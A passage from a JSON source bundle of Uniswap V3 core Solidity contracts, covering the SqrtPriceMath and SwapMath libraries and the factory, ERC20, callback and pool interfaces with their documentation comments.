bounds\n /// @param sqrtPX96 The starting price before accounting for the output amount\n /// @param liquidity The amount of usable liquidity\n /// @param amountOut How much of token0, or token1, is being swapped out\n /// @param zeroForOne Whether the amount out is token0 or token1\n /// @return sqrtQX96 The price after removing the output amount of token0 or token1\n function getNextSqrtPriceFromOutput(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amountOut,\n bool zeroForOne\n ) internal pure returns (uint160 sqrtQX96) {\n require(sqrtPX96 > 0);\n require(liquidity > 0);\n\n // round to make sure that we pass the target price\n return\n zeroForOne\n ? getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountOut, false)\n : getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountOut, false);\n }\n\n /// @notice Gets the amount0 delta between two prices\n /// @dev Calculates liquidity / sqrt(lower) - liquidity / sqrt(upper),\n /// i.e. liquidity * (sqrt(upper) - sqrt(lower)) / (sqrt(upper) * sqrt(lower))\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The amount of usable liquidity\n /// @param roundUp Whether to round the amount up or down\n /// @return amount0 Amount of token0 required to cover a position of size liquidity between the two passed prices\n function getAmount0Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity,\n bool roundUp\n ) internal pure returns (uint256 amount0) {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\n uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96;\n\n require(sqrtRatioAX96 > 0);\n\n return\n roundUp\n ? UnsafeMath.divRoundingUp(\n FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96),\n sqrtRatioAX96\n )\n : FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96;\n }\n\n /// @notice Gets the amount1 delta between two prices\n /// @dev Calculates liquidity * (sqrt(upper) - sqrt(lower))\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The amount of usable liquidity\n /// @param roundUp Whether to round the amount up, or down\n /// @return amount1 Amount of token1 required to cover a position of size liquidity between the two passed prices\n function getAmount1Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity,\n bool roundUp\n ) internal pure returns (uint256 amount1) {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n return\n roundUp\n ? FullMath.mulDivRoundingUp(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96)\n : FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);\n }\n\n /// @notice Helper that gets signed token0 delta\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The change in liquidity for which to compute the amount0 delta\n /// @return amount0 Amount of token0 corresponding to the passed liquidityDelta between the two prices\n function getAmount0Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n int128 liquidity\n ) internal pure returns (int256 amount0) {\n return\n liquidity < 0\n ? -getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()\n : getAmount0Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();\n }\n\n /// @notice Helper that gets signed token1 delta\n /// @param sqrtRatioAX96 A sqrt price\n /// @param sqrtRatioBX96 Another sqrt price\n /// @param liquidity The change in liquidity for which to compute the amount1 delta\n /// @return amount1 Amount of token1 corresponding to the passed liquidityDelta between the two prices\n function getAmount1Delta(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n int128 liquidity\n ) internal pure returns (int256 amount1) {\n return\n liquidity < 0\n ? -getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256()\n : getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256();\n }\n}\n"
},
"contracts/libraries/SwapMath.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './FullMath.sol';\nimport './SqrtPriceMath.sol';\n\n/// @title Computes the result of a swap within ticks\n/// @notice Contains methods for computing the result of a swap within a single tick price range, i.e., a single tick.\nlibrary SwapMath {\n /// @notice Computes the result of swapping some amount in, or amount out, given the parameters of the swap\n /// @dev The fee, plus the amount in, will never exceed the amount remaining if the swap's `amountSpecified` is positive\n /// @param sqrtRatioCurrentX96 The current sqrt price of the pool\n /// @param sqrtRatioTargetX96 The price that cannot be exceeded, from which the direction of the swap is inferred\n /// @param liquidity The usable liquidity\n /// @param amountRemaining How much input or output amount is remaining to be swapped in/out\n /// @param feePips The fee taken from the input amount, expressed in hundredths of a bip\n /// @return sqrtRatioNextX96 The price after swapping the amount in/out, not to exceed the price target\n /// @return amountIn The amount to be swapped in, of either token0 or token1, based on the direction of the swap\n /// @return amountOut The amount to be received, of either token0 or token1, based on the direction of the swap\n /// @return feeAmount The amount of input that will be taken as a fee\n function computeSwapStep(\n uint160 sqrtRatioCurrentX96,\n uint160 sqrtRatioTargetX96,\n uint128 liquidity,\n int256 amountRemaining,\n uint24 feePips\n )\n internal\n pure\n returns (\n uint160 sqrtRatioNextX96,\n uint256 amountIn,\n uint256 amountOut,\n uint256 feeAmount\n )\n {\n bool zeroForOne = sqrtRatioCurrentX96 >= sqrtRatioTargetX96;\n bool exactIn = amountRemaining >= 0;\n\n if (exactIn) {\n uint256 amountRemainingLessFee = FullMath.mulDiv(uint256(amountRemaining), 1e6 - feePips, 1e6);\n amountIn = zeroForOne\n ? SqrtPriceMath.getAmount0Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, true)\n : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, true);\n if (amountRemainingLessFee >= amountIn) sqrtRatioNextX96 = sqrtRatioTargetX96;\n else\n sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromInput(\n sqrtRatioCurrentX96,\n liquidity,\n amountRemainingLessFee,\n zeroForOne\n );\n } else {\n amountOut = zeroForOne\n ? SqrtPriceMath.getAmount1Delta(sqrtRatioTargetX96, sqrtRatioCurrentX96, liquidity, false)\n : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioTargetX96, liquidity, false);\n if (uint256(-amountRemaining) >= amountOut) sqrtRatioNextX96 = sqrtRatioTargetX96;\n else\n sqrtRatioNextX96 = SqrtPriceMath.getNextSqrtPriceFromOutput(\n sqrtRatioCurrentX96,\n liquidity,\n uint256(-amountRemaining),\n zeroForOne\n );\n }\n\n bool max = sqrtRatioTargetX96 == sqrtRatioNextX96;\n\n // get the input/output amounts\n if (zeroForOne) {\n amountIn = max && exactIn\n ? amountIn\n : SqrtPriceMath.getAmount0Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, true);\n amountOut = max && !exactIn\n ? amountOut\n : SqrtPriceMath.getAmount1Delta(sqrtRatioNextX96, sqrtRatioCurrentX96, liquidity, false);\n } else {\n amountIn = max && exactIn\n ? amountIn\n : SqrtPriceMath.getAmount1Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, true);\n amountOut = max && !exactIn\n ? amountOut\n : SqrtPriceMath.getAmount0Delta(sqrtRatioCurrentX96, sqrtRatioNextX96, liquidity, false);\n }\n\n // cap the output amount to not exceed the remaining output amount\n if (!exactIn && amountOut > uint256(-amountRemaining)) {\n amountOut = uint256(-amountRemaining);\n }\n\n if (exactIn && sqrtRatioNextX96 != sqrtRatioTargetX96) {\n // we didn't reach the target, so take the remainder of the maximum input as fee\n feeAmount = uint256(amountRemaining) - amountIn;\n } else {\n feeAmount = FullMath.mulDivRoundingUp(amountIn, feePips, 1e6 - feePips);\n }\n }\n}\n"
},
"contracts/interfaces/IUniswapV3PoolDeployer.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title An interface for a contract that is capable of deploying Uniswap V3 Pools\n/// @notice A contract that constructs a pool must implement this to pass arguments to the pool\n/// @dev This is used to avoid having constructor arguments in the pool contract, which results in the init code hash\n/// of the pool being constant allowing the CREATE2 address of the pool to be cheaply computed on-chain\ninterface IUniswapV3PoolDeployer {\n /// @notice Get the parameters to be used in constructing the pool, set transiently during pool creation.\n /// @dev Called by the pool constructor to fetch the parameters of the pool\n /// Returns factory The factory address\n /// Returns token0 The first token of the pool by address sort order\n /// Returns token1 The second token of the pool by address sort order\n /// Returns fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// Returns tickSpacing The minimum number of ticks between initialized ticks\n function parameters()\n external\n view\n returns (\n address factory,\n address token0,\n address token1,\n uint24 fee,\n int24 tickSpacing\n );\n}\n"
},
"contracts/interfaces/IUniswapV3Factory.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title The interface for the Uniswap V3 Factory\n/// @notice The Uniswap V3 Factory facilitates creation of Uniswap V3 pools and control over the protocol fees\ninterface IUniswapV3Factory {\n /// @notice Emitted when the owner of the factory is changed\n /// @param oldOwner The owner before the owner was changed\n /// @param newOwner The owner after the owner was changed\n event OwnerChanged(address indexed oldOwner, address indexed newOwner);\n\n /// @notice Emitted when a pool is created\n /// @param token0 The first token of the pool by address sort order\n /// @param token1 The second token of the pool by address sort order\n /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// @param tickSpacing The minimum number of ticks between initialized ticks\n /// @param pool The address of the created pool\n event PoolCreated(\n address indexed token0,\n address indexed token1,\n uint24 indexed fee,\n int24 tickSpacing,\n address pool\n );\n\n /// @notice Emitted when a new fee amount is enabled for pool creation via the factory\n /// @param fee The enabled fee, denominated in hundredths of a bip\n /// @param tickSpacing The minimum number of ticks between initialized ticks for pools created with the given fee\n event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing);\n\n /// @notice Returns the current owner of the factory\n /// @dev Can be changed by the current owner via setOwner\n /// @return The address of the factory owner\n function owner() external view returns (address);\n\n /// @notice Returns the tick spacing for a given fee amount, if enabled, or 0 if not enabled\n /// @dev A fee amount can never be removed, so this value should be hard coded or cached in the calling context\n /// @param fee The enabled fee, denominated in hundredths of a bip. Returns 0 in case of unenabled fee\n /// @return The tick spacing\n function feeAmountTickSpacing(uint24 fee) external view returns (int24);\n\n /// @notice Returns the pool address for a given pair of tokens and a fee, or address 0 if it does not exist\n /// @dev tokenA and tokenB may be passed in either token0/token1 or token1/token0 order\n /// @param tokenA The contract address of either token0 or token1\n /// @param tokenB The contract address of the other token\n /// @param fee The fee collected upon every swap in the pool, denominated in hundredths of a bip\n /// @return pool The pool address\n function getPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external view returns (address pool);\n\n /// @notice Creates a pool for the given two tokens and fee\n /// @param tokenA One of the two tokens in the desired pool\n /// @param tokenB The other of the two tokens in the desired pool\n /// @param fee The desired fee for the pool\n /// @dev tokenA and tokenB may be passed in either order: token0/token1 or token1/token0. tickSpacing is retrieved\n /// from the fee. The call will revert if the pool already exists, the fee is invalid, or the token arguments\n /// are invalid.\n /// @return pool The address of the newly created pool\n function createPool(\n address tokenA,\n address tokenB,\n uint24 fee\n ) external returns (address pool);\n\n /// @notice Updates the owner of the factory\n /// @dev Must be called by the current owner\n /// @param _owner The new owner of the factory\n function setOwner(address _owner) external;\n\n /// @notice Enables a fee amount with the given tickSpacing\n /// @dev Fee amounts may never be removed once enabled\n /// @param fee The fee amount to enable, denominated in hundredths of a bip (i.e. 1e-6)\n /// @param tickSpacing The spacing between ticks to be enforced for all pools created with the given fee amount\n function enableFeeAmount(uint24 fee, int24 tickSpacing) external;\n}\n"
},
"contracts/interfaces/IERC20Minimal.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Minimal ERC20 interface for Uniswap\n/// @notice Contains a subset of the full ERC20 interface that is used in Uniswap V3\ninterface IERC20Minimal {\n /// @notice Returns the balance of a token\n /// @param account The account for which to look up the number of tokens it has, i.e. its balance\n /// @return The number of tokens held by the account\n function balanceOf(address account) external view returns (uint256);\n\n /// @notice Transfers the amount of token from the `msg.sender` to the recipient\n /// @param recipient The account that will receive the amount transferred\n /// @param amount The number of tokens to send from the sender to the recipient\n /// @return Returns true for a successful transfer, false for an unsuccessful transfer\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /// @notice Returns the current allowance given to a spender by an owner\n /// @param owner The account of the token owner\n /// @param spender The account of the token spender\n /// @return The current allowance granted by `owner` to `spender`\n function allowance(address owner, address spender) external view returns (uint256);\n\n /// @notice Sets the allowance of a spender from the `msg.sender` to the value `amount`\n /// @param spender The account which will be allowed to spend a given amount of the owners tokens\n /// @param amount The amount of tokens allowed to be used by `spender`\n /// @return Returns true for a successful approval, false for unsuccessful\n function approve(address spender, uint256 amount) external returns (bool);\n\n /// @notice Transfers `amount` tokens from `sender` to `recipient` up to the allowance given to the `msg.sender`\n /// @param sender The account from which the transfer will be initiated\n /// @param recipient The recipient of the transfer\n /// @param amount The amount of the transfer\n /// @return Returns true for a successful transfer, false for unsuccessful\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n /// @notice Event emitted when tokens are transferred from one address to another, either via `#transfer` or `#transferFrom`.\n /// @param from The account from which the tokens were sent, i.e. the balance decreased\n /// @param to The account to which the tokens were sent, i.e. the balance increased\n /// @param value The amount of tokens that were transferred\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /// @notice Event emitted when the approval amount for the spender of a given owner's tokens changes.\n /// @param owner The account that approved spending of its tokens\n /// @param spender The account for which the spending allowance was modified\n /// @param value The new allowance from the owner to the spender\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n"
},
"contracts/interfaces/callback/IUniswapV3MintCallback.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#mint\n/// @notice Any contract that calls IUniswapV3PoolActions#mint must implement this interface\ninterface IUniswapV3MintCallback {\n /// @notice Called to `msg.sender` after minting liquidity to a position from IUniswapV3Pool#mint.\n /// @dev In the implementation you must pay the pool tokens owed for the minted liquidity.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// @param amount0Owed The amount of token0 due to the pool for the minted liquidity\n /// @param amount1Owed The amount of token1 due to the pool for the minted liquidity\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#mint call\n function uniswapV3MintCallback(\n uint256 amount0Owed,\n uint256 amount1Owed,\n bytes calldata data\n ) external;\n}\n"
},
"contracts/interfaces/callback/IUniswapV3SwapCallback.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#swap\n/// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface\ninterface IUniswapV3SwapCallback {\n /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap.\n /// @dev In the implementation you must pay the pool tokens owed for the swap.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped.\n /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token0 to the pool.\n /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by\n /// the end of the swap. If positive, the callback must send that amount of token1 to the pool.\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call\n function uniswapV3SwapCallback(\n int256 amount0Delta,\n int256 amount1Delta,\n bytes calldata data\n ) external;\n}\n"
},
"contracts/interfaces/callback/IUniswapV3FlashCallback.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Callback for IUniswapV3PoolActions#flash\n/// @notice Any contract that calls IUniswapV3PoolActions#flash must implement this interface\ninterface IUniswapV3FlashCallback {\n /// @notice Called to `msg.sender` after transferring to the recipient from IUniswapV3Pool#flash.\n /// @dev In the implementation you must repay the pool the tokens sent by flash plus the computed fee amounts.\n /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory.\n /// @param fee0 The fee amount in token0 due to the pool by the end of the flash\n /// @param fee1 The fee amount in token1 due to the pool by the end of the flash\n /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#flash call\n function uniswapV3FlashCallback(\n uint256 fee0,\n uint256 fee1,\n bytes calldata data\n ) external;\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolImmutables.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that never changes\n/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values\ninterface IUniswapV3PoolImmutables {\n /// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface\n /// @return The contract address\n function factory() external view returns (address);\n\n /// @notice The first of the two tokens of the pool, sorted by address\n /// @return The token contract address\n function token0() external view returns (address);\n\n /// @notice The second of the two tokens of the pool, sorted by address\n /// @return The token contract address\n function token1() external view returns (address);\n\n /// @notice The pool's fee in hundredths of a bip, i.e. 1e-6\n /// @return The fee\n function fee() external view returns (uint24);\n\n /// @notice The pool tick spacing\n /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive\n /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...\n /// This value is an int24 to avoid casting even though it is always positive.\n /// @return The tick spacing\n function tickSpacing() external view returns (int24);\n\n /// @notice The maximum amount of position liquidity that can use any tick in the range\n /// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and\n /// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool\n /// @return The max amount of liquidity per tick\n function maxLiquidityPerTick() external view returns (uint128);\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolState.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that can change\n/// @notice These methods compose the pool's state, and can change with any frequency including multiple times\n/// per transaction\ninterface IUniswapV3PoolState {\n /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas\n /// when accessed externally.\n /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value\n /// tick The current tick of the pool, i.e. according to the last tick transition that was run.\n /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick\n /// boundary.\n /// observationIndex The index of the last oracle observation that was written,\n /// observationCardinality The current maximum number of observations stored in the pool,\n /// observationCardinalityNext The next maximum number of observations, to be updated when the observation.\n /// feeProtocol The protocol fee for both tokens of the pool.\n /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0\n /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.\n /// unlocked Whether the pool is currently locked to reentrancy\n function slot0()\n external\n view\n returns (\n uint160 sqrtPriceX96,\n int24 tick,\n uint16 observationIndex,\n uint16 observationCardinality,\n uint16 observationCardinalityNext,\n uint8 feeProtocol,\n bool unlocked\n );\n\n /// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool\n /// @dev This value can overflow the uint256\n function feeGrowthGlobal0X128() external view returns (uint256);\n\n /// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool\n /// @dev This value can overflow the uint256\n function feeGrowthGlobal1X128() external view returns (uint256);\n\n /// @notice The amounts of token0 and token1 that are owed to the protocol\n /// @dev Protocol fees will never exceed uint128 max in either token\n function protocolFees() external view returns (uint128 token0, uint128 token1);\n\n /// @notice The currently in range liquidity available to the pool\n /// @dev This value has no relationship to the total liquidity across all ticks\n function liquidity() external view returns (uint128);\n\n /// @notice Look up information about a specific tick in the pool\n /// @param tick The tick to look up\n /// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or\n /// tick upper,\n /// liquidityNet how much liquidity changes when the pool price crosses the tick,\n /// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,\n /// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,\n /// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick\n /// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,\n /// secondsOutside the seconds spent on the other side of the tick from the current tick,\n /// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.\n /// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.\n /// In addition, these values are only relative and must be used only in comparison to previous snapshots for\n /// a specific position.\n function ticks(int24 tick)\n external\n view\n returns (\n uint128 liquidityGross,\n int128 liquidityNet,\n uint256 feeGrowthOutside0X128,\n uint256 feeGrowthOutside1X128,\n int56 tickCumulativeOutside,\n uint160 secondsPerLiquidityOutsideX128,\n uint32 secondsOutside,\n bool initialized\n );\n\n /// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information\n function tickBitmap(int16 wordPosition) external view returns (uint256);\n\n /// @notice Returns the information about a position by the position's key\n /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper\n /// @return _liquidity The amount of liquidity in the position,\n /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,\n /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,\n /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,\n /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke\n function positions(bytes32 key)\n external\n view\n returns (\n uint128 _liquidity,\n uint256 feeGrowthInside0LastX128,\n uint256 feeGrowthInside1LastX128,\n uint128 tokensOwed0,\n uint128 tokensOwed1\n );\n\n /// @notice Returns data about a specific observation index\n /// @param index The element of the observations array to fetch\n /// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time\n /// ago, rather than at a specific index in the array.\n /// @return blockTimestamp The timestamp of the observation,\n /// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,\n /// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,\n /// Returns initialized whether the observation has been initialized and the values are safe to use\n function observations(uint256 index)\n external\n view\n returns (\n uint32 blockTimestamp,\n int56 tickCumulative,\n uint160 secondsPerLiquidityCumulativeX128,\n bool initialized\n );\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolDerivedState.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Pool state that is not stored\n/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the\n/// blockchain. The functions here may have variable gas costs.\ninterface IUniswapV3PoolDerivedState {\n /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp\n /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing\n /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,\n /// you must call it with secondsAgos = [3600, 0].\n /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in\n /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.\n /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned\n /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp\n /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block\n /// timestamp\n function observe(uint32[] calldata secondsAgos)\n external\n view\n returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);\n\n /// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range\n /// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.\n /// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first\n /// snapshot is taken and the second snapshot is taken.\n /// @param tickLower The lower tick of the range\n /// @param tickUpper The upper tick of the range\n /// @return tickCumulativeInside The snapshot of the tick accumulator for the range\n /// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range\n /// @return secondsInside The snapshot of seconds per liquidity for the range\n function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)\n external\n view\n returns (\n int56 tickCumulativeInside,\n uint160 secondsPerLiquidityInsideX128,\n uint32 secondsInside\n );\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolActions.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Permissionless pool actions\n/// @notice Contains pool methods that can be called by anyone\ninterface IUniswapV3PoolActions {\n /// @notice Sets the initial price for the pool\n /// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value\n /// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96\n function initialize(uint160 sqrtPriceX96) external;\n\n /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position\n /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback\n /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends\n /// on tickLower, tickUpper, the amount of liquidity, and the current price.\n /// @param recipient The address for which the liquidity will be created\n /// @param tickLower The lower tick of the position in which to add liquidity\n /// @param tickUpper The upper tick of the position in which to add liquidity\n /// @param amount The amount of liquidity to mint\n /// @param data Any data that should be passed through to the callback\n /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback\n /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external returns (uint256 amount0, uint256 amount1);\n\n /// @notice Collects tokens owed to a position\n /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.\n /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or\n /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the\n /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.\n /// @param recipient The address which should receive the fees collected\n /// @param tickLower The lower tick of the position for which to collect fees\n /// @param tickUpper The upper tick of the position for which to collect fees\n /// @param amount0Requested How much token0 should be withdrawn from the fees owed\n /// @param amount1Requested How much token1 should be withdrawn from the fees owed\n /// @return amount0 The amount of fees collected in token0\n /// @return amount1 The amount of fees collected in token1\n function collect(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external returns (uint128 amount0, uint128 amount1);\n\n /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position\n /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0\n /// @dev Fees must be collected separately via a call to #collect\n /// @param tickLower The lower tick of the position for which to burn liquidity\n /// @param tickUpper The upper tick of the position for which to burn liquidity\n /// @param amount How much liquidity to burn\n /// @return amount0 The amount of token0 sent to the recipient\n /// @return amount1 The amount of token1 sent to the recipient\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external returns (uint256 amount0, uint256 amount1);\n\n /// @notice Swap token0 for token1, or token1 for token0\n /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback\n /// @param recipient The address to receive the output of the swap\n /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0\n /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)\n /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this\n /// value after the swap. If one for zero, the price cannot be greater than this value after the swap\n /// @param data Any data to be passed through to the callback\n /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive\n /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external returns (int256 amount0, int256 amount1);\n\n /// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback\n /// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback\n /// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling\n /// with 0 amount{0,1} and sending the donation amount(s) from the callback\n /// @param recipient The address which will receive the token0 and token1 amounts\n /// @param amount0 The amount of token0 to send\n /// @param amount1 The amount of token1 to send\n /// @param data Any data to be passed through to the callback\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external;\n\n /// @notice Increase the maximum number of price and liquidity observations that this pool will store\n /// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to\n /// the input observationCardinalityNext.\n /// @param observationCardinalityNext The desired minimum number of observations for the pool to store\n function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;\n}\n"
},
"contracts/interfaces/pool/IUniswapV3PoolOwnerActions.sol": {
